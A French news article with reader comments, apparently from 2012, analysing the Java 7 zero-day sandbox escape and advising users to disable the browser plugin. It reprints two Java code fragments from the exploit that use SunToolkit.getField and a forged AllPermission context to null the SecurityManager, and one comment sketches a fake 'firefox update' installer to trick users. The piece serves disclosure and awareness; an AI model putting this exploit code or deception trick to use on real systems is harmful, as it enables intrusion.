Le nouvel exploit zero-day de Java 7 décortiqué
Il permet de désactiver le sandbox avec une facilité déconcertante
Le 2012-08-29 19:08:07, par tarikbenmerar, Chroniqueur Actualités
Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.
L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.
L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.
Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.
En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :
À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.
Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.
Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.
Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.
Source : le code de l'exploit
Et vous ?
L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.
L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.
Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.
En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :
| Code : |
1 2 3 4 5 6 7 8 9 10 11 12 13 | private void SetField(Class paramClass,
String paramString,
Object paramObject1,
Object paramObject2) throws Throwable
{
Object arrayOfObject = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
"getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
} |
À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.
Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.
| Code : |
1 2 3 4 5 6 7 8 9 10 11 12 13 | public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(
new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext =
new AccessControlContext(new ProtectionDomain{localProtectionDomain});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
} |
Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.
Source : le code de l'exploit
Et vous ?
-
tchize_Expert éminent séniorle 26/09/2012 à 15:42
-
AwakeningMembre régulierMais Kévin n'aurait pas forcément tort, il y a des chances qu'une mise à jour répare certaines failles/bug.
Et de toute façon le tort n'est pas censé venir de l'utilisateur lambda qui n'est pas censé savoir que Java (ou Flash) est réputé pour avoir quelques failles.le 30/08/2012 à 12:25 -
tchize_Expert éminent séniorMouais, chez l'utilisateur lambda, tu en profite pour déposer un paquet MSI (ça pas besoin de l'UAC) que t'appelle firefox update et qui attends gentillement que tu ferme ton firefox pour ensuite demander les droits à l'UAC.
Et hop, un joli "firefox update veux modifier votre machine".
Combien vont cliquer non?le 26/09/2012 à 16:56 -
thelvinModérateurC'est pour ça que Firefox se permet de désactiver des plugins de temps en temps, en demandant à peine l'avis de la personne mal informée. On peut en dire ce qu'on veut en terme de comportement politique, en attendant c'est une sécurité accessible à tout le monde.
Spas un nouveau langage à apprendre, s't'un nouveau langage à adapter, sécuriser, accélérer, intégrer, déployer. Pas la même chose.le 30/08/2012 à 14:47 -
dragon-noirMembre à l'essaibonsoir ,
java7 update 7
dispo sur http://java.com/fr/download/manual.jsp
ne sait pas s'il elle comble la faille de sécurité silence radio pour l'instant
http://www.oracle.com/technetwork/ja...ads/index.html
Mise à jour Java SE 7 7 Paru
Cette mise à jour corrige des vulnérabilités de sécurité récentes. Oracle recommande vivement à tous les utilisateurs de Java SE 7 jour vers cette version.
http://www.oracle.com/technetwork/ja...iew/index.html le 30/08/2012 à 19:47 -
CrazyfabooMembre actifOracle n'a cependant pas communiqué sur la faille de sécurité en question. Il serait très surprenant que cette mise à jour hors planning et post-"scandale" ne corrige pas la faille. Cela dit, quelques tests s'avèrent tout de même nécessaire. D'autant plus qu'ils ont peut-être créé d'autres failles en la corrigeant (sûrement à la va-vite)...
Bien qu'Oracle ait publié une MAJ, mais pas bien qu'ils ne communiquent pas sur la faille en particulier.le 31/08/2012 à 11:34 -
UtherExpert éminent séniorEt pas que sur internet.
C'est bien connu que le système le plus sur jamais réalisé c'est : http://www.bernardbelanger.com/compu...NaDa/index.phple 03/09/2012 à 19:41 -
FreemMembre éméritePeut-être parce qu'il y a vachement plus de sites qui utilisent flash?
Genre, par exemple, les sites des streaming. Les sites de jeux, aussi.
D'ailleurs, le jour où ce sera possible de se passer de flash, rassures-toi, je pense que nombreux seront ceux qui le feront... notamment sous linux ou ce truc à une stabilité douteuse.le 04/09/2012 à 9:55 -
tchize_Expert éminent séniorTu veux dire comme un bateau qui coulerais dès qu'il y aurait un trou dans le sous-système "coque immergée" ?
Mauvaise nouvelle, c'est ce que font la plupart des petits bateauxle 05/09/2012 à 10:10 -
tchize_Expert éminent séniorle 11/10/2012 à 15:50